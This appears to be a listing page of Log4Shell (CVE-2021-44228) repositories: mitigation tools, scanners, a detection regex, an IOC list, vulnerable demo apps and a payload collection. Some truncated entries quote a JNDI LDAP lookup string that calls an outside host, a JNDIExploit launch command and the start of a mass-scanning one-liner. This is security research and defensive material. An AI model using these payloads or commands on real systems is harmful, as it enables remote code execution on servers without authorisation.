JndiRemover

JndiRemover A small mod aimed at eliminating the CVE-2021-44228 vulnerability by removing/disabling Jndi in Log4j and intercepting messages containing the text "$jndi:ldap://domainname.com/script", which will be removed. Supported versions of MC: Forge 1.7.10, 1.12.2...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

log4j-vuln-coverage-check

log4j-vuln-coverage-check A simple project to check coverage of Log4J vuln CVE-2021-44228 and related...

log4shell-rex

Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell CVE-2021-44228 and CVE-2021-45046 exploitation. If you run a version from pre 2021/12/21, it's highly recommended to test and update. I've removed some quirks and enhanced performance. The Regex aims...

Log4Shell

log4shell A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters. Supports DNS callback for vulnerability...

CVE-2021-44228-Log4j-lookup-Rce

0x01、Environment Jdk7u21 any version works Affected versions: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static...

Log4j-IOCs

Log4j log4shell CVE-2021-44228 Public IOCs list Public IOCs about log4j CVE-2021-44228 IP List 45.83.64.237 92.223.89.187 45.83.67.157 45.83.66.8 51.210.175.24 51.75.161.78 185.220.101.62 139.177.178.141 45.83.66.111 94.23.251.77 51.210.175.87 68.183.198.247 185.107.56.121 147.182.154.110...

Log4Shell-CVE-2021-44228-ENV

Log4Shell Reproduction Environment Example Description Victim machine IP: 47.47.47.47 Attacker machine IP: 48.48.48.48 Running the Vulnerable Docker on the Victim Machine Use the DockerFile to build the docker image and run: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln Running...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j Scanning tool This tool will help you identify remote code execution vulnerability log4j on your systems. Requirements You will need to install httpx, subfinder, assetfinder, curl and amass in order to run the bash script. Installation 1. Simply git clone the re...

log4noshell

Log4NoShell A Java Agent that disables Apache Log4J's JNDI Lookup to mitigate CVE-2021-44228 "Log4Shell". If possible, update your program to use the latest Log4J version, as the vulnerability is fixed as of version 2.17.1. Otherwise, download log4noshell-0.8.1.jar and continue reading. Usage To...

Log4J-Simulation-Tool

About The Project This is a specially crafted automated Vulnerability Scanner, Patch Management and Exploitation tool for CVE-2021-44228. This is a combination of Python, Java and Linux shell program which will make it easier for a Network Administrator, Endpoint Security Developers and...

log4j2-vulnerable-spring-app

Log4j 2 CVE-2021-44228 Test Sample Application Based on spring-boot-starter-log4j2:2.6.1 log4j 2.14.1 Available Endpoints Endpoint| HTTP Method| Parameters ---|---|--- vulnerablerequestget| GET| v=payload vulnerablerequestpost| POST| v=payload vulnerablerequestheaderua| GET / POST| Header...

Log4Shell-Payloads

🚨 Log4Shell Payloads Collection A curated list of Log4Shell / Log4J exploitation payloads targeting: CVE-2021-45046 CVE-2022-42889 🔗 By @nav1n0x 🔥 One-Liner Payloads ✅ Oneliner 1 cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

log4jScan

log4jScan simple python scanner to check if your network is vulnerable to CVE-2021-44228 usage : git clone https://github.com/sinakeshmiri/log4jScan.git java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $YOURPRIVATEIP -p 8888 sudo masscan -p 80,443 192.168.0.0/16 hosts.txt /bin/python log4jscan.py...

log4j-cve-2021-44228

Log4j-CVE-2021-44228 scanner playbook Very simple Ansible playbook that scan the filesystem for JAR files vulnerable to Log4Shell CVE-2021-44228. The result is saved in a CSV file in the local system. How to run A value for the name of the CSV file must be passed via the localfile variable...

log4j-lookups-vulnerability

log4j-lookups-vulnerability The project based on spring-boot,and the code reveals how Log4j2 Vulnerability CVE-2021-44228 works. The solution for CVE-2021-44228 is on the linked url https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot...

Log4Shell-CVE-2021-44228-Demo

CVE-2021–44228 Demo 1. CVE-2021–44228 Introduction At the end of 2021, the biggest news in the cybersecurity world was the Log4j vulnerability, numbered CVE-2021-44228, also known as Log4Shell. In the CVSS vulnerability scoring system, it was rated the most severe 10 out of 10 , and it is also...

Log4j-Vulnerability

🔓 Log4Shell Vulnerability Demonstration CVE-2021-44228 This project is a controlled test environment allowing you to reproduce and understand the critical Log4Shell vulnerability CVE-2021-44228 affecting the Apache Log4j library. 📁 Project Architecture Secutp1/ ├── Dockerfile Docker image build ├...

Wireshark

Wireshark Malware Analysis Description This lab I analyzed a known malicious packet capture on the exploit Log4J. I begun my investigation with the same playbook I use for packet capture analysis, which is to examine the statistics and see how many and how much endpoints are communicating. Notici...

log4stdin

log4stdin — log4shell injection for anything with stdout This repository contains a Java application intentionally vulnerable to CVE-2021-44228, colloquially known as log4shell. log4stdin is quite literally nothing more than an stdin-reader, input of which is fed into a vulnerable log4j instance...